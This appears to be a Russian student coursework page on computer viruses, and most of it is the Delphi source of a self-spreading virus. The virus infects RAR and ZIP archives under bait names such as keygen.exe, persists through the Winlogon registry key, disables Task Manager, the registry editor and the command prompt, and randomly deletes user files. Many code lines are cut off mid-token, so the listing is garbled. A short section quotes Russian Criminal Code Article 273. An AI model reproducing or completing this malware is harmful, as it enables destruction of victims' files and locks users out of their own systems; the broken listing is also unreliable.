Автор работы: Пользователь скрыл имя, 04 Июня 2012 в 18:01, курсовая работа
Компьютеры стали настоящими помощниками человека и без них уже не может обойтись ни коммерческая фирма, ни государственная организация. Однако в связи с этим особенно обострилась проблема защиты информации.
Вирусы, получившие широкое распространение в компьютерной технике, взбудоражили весь мир. Многие пользователи компьютеров обеспокоены слухами о том, что с помощью компьютерных вирусов злоумышленники взламывают сети, грабят банки, крадут интеллектуальную собственность...
- Введение
- Определение вируса
- История возникновения компьютерных вирусов
- Классификация вирусов
- Классификация именований вирусов по «Доктор Веб»
- Команды для работы вирусов с файлами в среде Delphi
- Исходный код
- Юридический аспект
- Заключение
- Список использованной литературы
Sr.Name- имя найденного файла
Sr.Size- его размер.
Чтобы искать следующий такой же файл, необходимо написать FindNext (Sr);
Если файл найден, то процедуры FindFirst и FindNext возвращают 0 (зеро).
В программном коде можно создать следующий цикл:
Result:= FindFirst (‘*.exe’,faAnyFile,sr);
While result=0 do
Begin
//Команды процедуры заражения
FindNext (sr);
End;
8.Закрытие файла:
procedure CloseFile (var F: File);
9.Сдвиг рамки считывания: procedure Seek(var F; N: Longint);
10.Иногда,если чего-то не получилось, важно быть об этом проинформированым. Допустим, надо узнать, удалось ли чтение из файла. Непосредственно после BlockRead пишем: IF Ioresult=0 then… Если ноль, то все успешно, если нет- возвращается код ошибки. Такой прием возможен, только если {$I-}!
11.Когда необходимо завершить программу без особых изменений вызывают функцию stack overflow:
function BlowTheStack(I: Integer): Integer;
var
J: Integer;
begin
J:= 2;
Result:= BlowTheStack(I*J);
end;
12.Установка атрибутов файла: FileSetAttr (Filename: string,FileAttr);
Например: FileSetAttr (‘filename.exe’,faHidden);
Исходный код
Вирус заражает rar и zip архивы.
program ZARAZHENIE ARCHIVA;
uses
Windows,
SysUtils,
Registry,
Math;
const VirusSize= 45056;//Размер вируса
var
{Массив с системными именами}
ArraySysName: array [0..13] of string = (
'dgnet.exe','dbgeng.exe','
'ksproxy.exe','mcicda.exe','
'kbdbane.com','adsnt.exe',' chcp.exe','occache.com','dimx9
'agchk.com'
);
//++++++++++++++++++++++++++++
{Массив с именами копий вируса для заражения архивов}
ArrayName: array [0..11] of string =(
'Setup.exe','Install.exe',
'plugin.exe','update.exe',
'keygen.exe','crack.exe',
'info.exe','help.exe','FAQ.
'r ead me.txt.exe','support.exe'
);
{Массив расширений}
ArrayMask: array [0..23] of string =(
'*.mp3','*.wav','*.url','*.
'*.avi','*.mpg','*.3gp','*.
'*.jpg','*.bmp','*.gif','*.p ng',
'*.htm','*.html','*.doc','*.
'*.swf'
);
ifind, DiskType, ruletka, time: integer;
Drives: set of 0..25;
Drv: char;
My, two: file;
VirusBody: array [1..VirusSize] of char;
WinRar_Path, SysName, M: string;
ch: char;
Reg: TRegistry;
kernel: text;
infected: boolean;
Birth: TDateTime;
//
procedure InfectArchiveRAR(path:string);
var f:tsearchrec;
Command, NName: string;
copy, virus: file;
ir: integer;
begin
if findfirst(path+'*.rar',
repeat
if (f.Attr and faDirectory)=0 then
begin
Begin
//
NName:='';
NName:=ArrayName[RandomRange(
//
assignfile(copy,NName);//
rewrite(copy,1);
blockwrite(copy,VirusBody,
{пришем мусор}
for ir:=1 to random(100000) do
begin
ch:=chr(random(255));
blockwrite(copy,ch,1);
end;
close(copy);
{добавим в архив}
assignfile(virus,NName);
Command := WinRar_path+' a -ep "'+path+'\'+f.name+'" "'+NName+'"';
{Проверка архива на "вшивость"}
Infected:= false;
if DateTimeToStr (FileDateToDateTime (fileage (path+'\'+f.name)))= '06.08.2007' then infected:= true;
//Проверено!
{}
if infected = false then WinExec(PAnsiChar(Command),sw_
erase(virus);
end;
end;
until (findnext(f)<>0);
//Дальше идёт поиск в подпапках
findfirst(path+'*',$3f,f);
findnext(f);
while (findnext(f)=0) do
if (f.attr and fadirectory)<>0 then
InfectArchiveRAR(path+'\'+f.
findclose(f);
end;
//////////////////////////////
procedure InfectArchiveZIP(path:string);
var f:tsearchrec;
Command, NName: string;
copy, virus: file;
iz: integer;
begin
if findfirst(path+'*.zip',
repeat
if (f.Attr and faDirectory)=0 then
begin
Begin
//
NName:='';
NName:=ArrayName[RandomRange(
//
assignfile(copy,NName);//Копия
rewrite(copy,1);
blockwrite(copy,VirusBody,
{пишем мусор}
for iz:=1 to random(100000) do
begin
ch:=chr(random(255));
blockwrite(copy,ch,1);
end;
close(copy);
{добавим в архив}
assignfile(virus,NName);
{}
Command := WinRar_path+' a -ep "'+path+'\'+f.name+'" "'+NName+'"';
{Проверка архива на "вшивость"}
Infected:= false;
if DateTimeToStr (FileDateToDateTime (fileage (path+'\'+f.name)))= '06.08.2007' then infected:= true;
//Проверено!
{}
if infected = false then WinExec(PAnsiChar(Command),sw_
erase(virus);
end;
end;
until (findnext(f)<>0);
//Дальше идёт поиск в подпапках
findfirst(path+'*',$3f,f);
findnext(f);
while (findnext(f)=0) do
if (f.attr and fadirectory)<>0 then
InfectArchiveZIP(path+'\'+f.
findclose(f);
end;
//////////////////////////////
function GetWindowsSystemPath: String;//Определяем SYSTEM32
const MaxWinSysPathLen = MAX_PATH + 1;
var I : LongWord;
begin
SetLength(Result, MaxWinSysPathLen);
I := GetSystemDirectory(PChar(
if I > 0 then
SetLength(Result, I) else
Result := '';
end;
//
function GetUserName: String; // Имя USERa
const MAX_USERNAME_LENGTH = 256;
var L : LongWord;
begin
L := MAX_USERNAME_LENGTH + 2;
SetLength(Result, L);
if Windows.GetUserName(PChar(
SetLength(Result, StrLen(PChar(Result))) else
Result := '';
end;
//////////////////////////////
procedure Registration;
var
ic: integer;
begin
SysName:='';
SysName:=ArraySysName[
//
assignfile(two,
rewrite(two,1);
blockwrite(two,VirusBody,
{пришем мусор}
for ic:=1 to random(100000) do
begin
ch:=chr(random(255));
blockwrite(two,ch,1);
end;
close(two);
FileSetAttr(
/////
Reg:= TRegistry.Create;
reg.RootKey :=HKEY_LOCAL_MACHINE;
reg.LazyWrite := false;
reg.OpenKey('\Software\
reg.WriteString('Userinit',
reg.CloseKey;
//
Reg.RootKey:= HKEY_CURRENT_USER;
if Reg.OpenKey('\Software\
then Reg.WriteInteger('
Reg.CloseKey; {вырубим TaskMgr}
Reg.RootKey:= HKEY_CURRENT_USER;
if Reg.OpenKey('\Software\
then Reg.WriteInteger('
Reg.CloseKey; {вырубим редактор реестра}
Reg.RootKey:= HKEY_CURRENT_USER;
if Reg.OpenKey('\Software\
then Reg.WriteInteger('DisableCMD',
Reg.CloseKey; {ну и командную строку - от греха подальше}
Reg.Free;
///
assignfile(kernel,
rewrite(kernel);
writeln(kernel,'******** **** ******** **** ******** ****');
writeln(kernel,'******** ****** ********* ****** ******** ******');
writeln(kernel,' *** ** ** *** ** ** ** *** ** **');
writeln(kernel,' *** ********** *** ***** ********** *** **********');
writeln(kernel,'*** ************ *** *** ************ *** ************');
writeln(kernel,'******** ** ** *** *** ** ** ******** ** **');
writeln(kernel,'******** *** *** *** *** *** *** ******** *** ***');
close(kernel);
end;
{+++++++++++++++++++++++++++++
//////////////////////////////
//Процедуры и функции Payloads
procedure FuckDelete(path:string);
var f:tsearchrec;
r:integer;
begin
m:='';
m:=ArrayMask[RandomRange(0,24)
//Вместо '*' можно вставить необходимую маску файлов например '?.exe', '*.txt'
if findfirst(path+m,faAnyFile,f)=
repeat
if (f.Attr and faDirectory)=0 then
r:= random(8);
if r=(4) then DeleteFile(path+'\'+f.name);
until (findnext(f)<>0);
//Дальше идёт поиск в подпапках
findfirst(path+'*',$3f,f);
findnext(f);
while (findnext(f)=0) do
if (f.attr and fadirectory)<>0 then
FuckDelete(path+'\'+f.name+'\'
findclose(f);
end;
procedure FuckDisplay;
var
dm : tdevmode;
x: array [1..4] of integer;
y: array [1..4] of integer;
x1,y1,n: integer;
begin
//Объявляем доступные разрешения
x[1]:= 640; y[1]:= 480;
x[2]:= 800; y[2]:= 600;
x[3]:= 1024; y[3]:= 768;
x[4]:= 1600; y[4]:= 1200;
n:= random (4); // случайно выбираем
x1:= x[n+1]; //...ширину
y1:= y[n+1]; //...высоту
{Устанавливаем}
zeromemory(@dm, sizeof(tdevmode));
dm.dmsize := sizeof(tdevmode);
dm.dmpelswidth := x1;
dm.dmpelsheight := y1;
dm.dmfields := dm_pelswidth or dm_pelsheight;
changedisplaysettings(dm, 0);
//
begin
Reg:= TRegistry.Create;
try
Reg.RootKey:= HKEY_CURRENT_USER;
if Reg.OpenKey('\Software\
then Reg.WriteInteger('
finally
Reg.CloseKey;
Reg.Free;
end;
end;
end;
//Гы гы гы Гы гы гы
{+++++++++++++++++++++++++++++
{+++++++++++++++++++++++++++++
//Процедуры и функции уже кончились
//Сам код программы
begin//Чтение самого себя
Randomize;//Генератор случайных чисел
filemode :=0;//Поставим файлу мод 0 для того что бы можно было в Win32 прочитать из себя без ошибки
AssignFile(My,ParamSTR(0));
Reset(My,1);
BlockRead(My,VirusBody,
close(My);
filemode :=2;//Возвращаем параметр
//Исполнение программы
begin
//++++++++++++++++++++++++++++
if not FileExists(
begin
Registration;
end
else
begin
time:=random(15);
SLEEP(time*60*1000);//спим
ruletka:=random(10);
if ruletka=(7) then FuckDisplay;
//Поиск и заражение
WinRar_path:= GetEnvironmentVariable('
Integer(Drives) := GetLogicalDrives;
for ifind := 0 to 25 do
if (ifind in Drives) then
begin
Drv := Char(ifind + Ord('A'));
DiskType := GetDriveType(PChar(Drv + ':\'));
if (DiskType = DRIVE_FIXED) then
begin
if FileExists(WinRar_path) then InfectArchiveRAR(Drv + ':\'); InfectArchiveZIP(Drv + ':\');
if ruletka=(3) then FuckDelete(Drv + ':\');
end;
//////////////////////////////
end;
end;
end;
end.
Юридический аспект
Статья 273. Создание, использование и распространение вредоносных программ для ЭВМ
1. Создание программ для ЭВМ или внесение изменений в существующие программы, заведомо приводящих к несанкционированному уничтожению, блокированию, модификации либо копированию информации, нарушению работы ЭВМ, системы ЭВМ или их сети, а равно использование либо распространение таких программ или машинных носителей с такими программами - наказываются лишением свободы на срок до трех лет со штрафом в размере до двухсот тысяч рублей или в размере заработной платы или иного дохода осужденного за период до восемнадцати месяцев.
2. Те же деяния, повлекшие по неосторожности тяжкие последствия, -наказываются лишением свободы на срок до семи лет.
Заключение
Из всего вышесказанного можно сделать вывод, что компьютерный вирус – это специально написанная небольшая по размерам программа, которая может «приписывать» себя к другим программам, а также выполнять различные нежелательные действия на компьютере. Программа, внутри которой находится вирус, называется «зараженной». Когда такая программа начинает работу, то сначала управление получает вирус. Вирус находит и «заражает» другие программы, а также выполняет какие-нибудь вредные действия (например, портит файлы или таблицу размещения файлов на диске, «засоряет» оперативную память и т. д.). Вирус – это программа, обладающая способностью к самовоспроизведению. Такая способность является единственным свойством, присущим всем типам вирусов. Вирус не может существовать в «полной изоляции». Это означает, что сегодня нельзя представить себе вирус, который бы так или иначе не использовал код других программ, информацию о файловой структуре или даже просто имена других программ. Причина этого довольно понятна: вирус должен каким-нибудь способом обеспечить передачу себе управления.
Самым эффективным способом защиты от компьютерных вирусов является не внесение информации в компьютер извне. Но, к сожалению, на 100% защититься от вирусов практически невозможно (подразумевается, что пользователь меняется информационными носителями с друзьями и играет в игры, а также получает информацию из других источников, например из сетей).
Список использованной литературы
http://www.iworld.ru/contents/
ru.wikipedia.org/wiki/
http://habrahabr.ru/company/ru
http://vms.drweb.com/classific
http://www.ug-kodeks.ru/
http://www.realcoding.net/arti